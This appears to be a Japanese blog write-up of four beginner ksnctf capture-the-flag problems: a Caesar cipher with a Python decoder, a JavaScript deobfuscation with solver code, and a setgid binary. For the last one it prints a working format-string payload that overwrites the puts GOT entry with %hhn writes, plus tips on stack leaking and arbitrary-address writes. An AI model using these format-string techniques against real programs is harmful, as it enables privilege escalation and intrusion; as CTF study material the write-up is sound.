概要
基礎からCTFを始めようと思い、ksnctfを触ってみた。
忘れそうなので解法を随時メモ書きとして記載していく予定。
今回取り扱う問題
#1: Test Problem
#2: Easy Cipher
#3: Crawling Chaos
#4: Villager A
1. Test Problem
そのままやるだけ
2. Easy Cipher
ふつうのシーザー暗号(Caesar cipher)なのでROT13する。
以下のサイトで変換した。
Pythonでも書ける。だいたいこんな感じ。
import string
target = input()
rot_n = int(input())
upcase = string.ascii_uppercase
lowcase = string.ascii_lowercase
numchars = len(upcase)
ans = ""
for c in target:
if c in upcase:
base = ord(upcase[0])
ans += chr((ord(c)-base+rot_n)%(numchars)+base)
elif c in lowcase:
base = ord(lowcase[0])
ans += chr((ord(c)-base+rot_n)%(numchars)+base)
else:
ans += c
print(ans)
3. Crawling Chaos
とりあえずF12でソース見たら怪文書があった。
パッと見て思い浮かんだのはBrainfuckのNyarukoだったので調べるとどうやら以下のサイトでjsのコードをニャルラトホテプ化してくれるらしい。
jsであることがわかったのでブラウザ上でステップ実行した。
途中、コードが\uXXXXのような形式で表現されていたためecho -e "\uXXXX"
を実行して復号するとjsのコードが取得できた。
$(function(){$("form").submit(function(){var t=$('input[type="text"]').val();var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);var f=false;if(p.length==t.length){f=true;for(var i=0;i<p.length;i++)if(t.charCodeAt(i)*(i+1)!=p[i])f=false;if(f)alert("(」・ω・)」うー!(/・ω・)/にゃー!");}if(!f)alert("No");return false;});});
あとはこれを解くようなコードを書いて終わり。
var p=Array(70,152,195,284,475,612,791,896,810,850,737,1332,1469,1120,1470,832,1785,2196,1520,1480,1449);
for(i=0;i<p.length;i++)console.log(`${String.fromCharCode(p[i]/(i+1))}`)
4. Villager A
SSHでサーバに接続するとカレントディレクトリにq4(実行ファイル)とflag.txtの2つのファイルがあった。
flag.txtはq4aというグループに所有権があり、直接見ることはできない。
一方q4はsetgidアクセス権がついており、q4aとして実行できるのでここに攻撃してファイルを開く任意コードを実行するんだろうな~、と思った。
幸いなことにプログラム内にflag.txtを読む処理があり、jmp系の処理で未到達コードになっているだけだったので、関数のリターン先とGOTの書き換えを試みた。
その結果、書式文字列攻撃でputs@plt内にあるGOTのアドレスを書き換えることで成功した。
位置指定パラメータを使うのは初めてだったため苦戦したが、理解さえできればすぐ書けたので良かった。
# puts@plt内のGOTアドレス(0x080499f4~0x080499f7)に1byteずつ%hhnで書き込み
# 自分が入力した文字列は6番目の引数以降にあるので位置指定パラメータを使う
$ echo -ne "\xf4\x99\x04\x08\xf5\x99\x04\x08\xf6\x99\x04\x08\xf7\x99\x04\x08%129c%6\$hhn%245c%7\$hhn%126c%8\$hhn%4c%9\$hhn" | ./q4
詳細な解法については以下のサイトに載っているので解説はそこに譲ります。
Reversing,Pwn系の問題を解く時のメモ
-
自分の入力が返ってくるようなときは
printf(str)
のタイプかも → 書式文字列攻撃の検討 - 書式文字列攻撃ができそうなら**%pや%x**でスタックの中身を確認
- 特に自分の入力が格納されるメモリアドレスが判明すれば位置指定パラメータと%nで任意アドレスへの書き込みができる
- %nは**%hnや%hhn**で2byte/1byteの書き込みができる(範囲外の上位桁は落とされるので該当箇所の値のみ合っていればよい)
- %.0sを使うことで文字を出力せずスタック参照を次に進めることができるので位置指定パラメータが使えない時はそれで代用できる
- 今回は通用しなかったが、文字列の長さを増やしてオーバーフローさせリターン先を書き換えさせる問題もありそう
-
echo -ne "\xNN" | ./prog
やpython3 -c "print('a'*1024)" | ./prog
とかで入力を渡せる -
objdump -d -M intel ./prog
で逆アセンブルできる
まとめ
まだ序盤だがかなりやりごたえがあると感じた。
コストをあまりかけずに調べられる部分を見落としてしまい、話を難しく持っていってしまいがちなので気をつけていきたい。
その日の気分でpicoCTFの過去問(picoGym)やCpawCTFをやっているのでそれらのwriteup等も出す予定(CpawCTFについては解法の公開が歓迎されていなさそうなので未定)。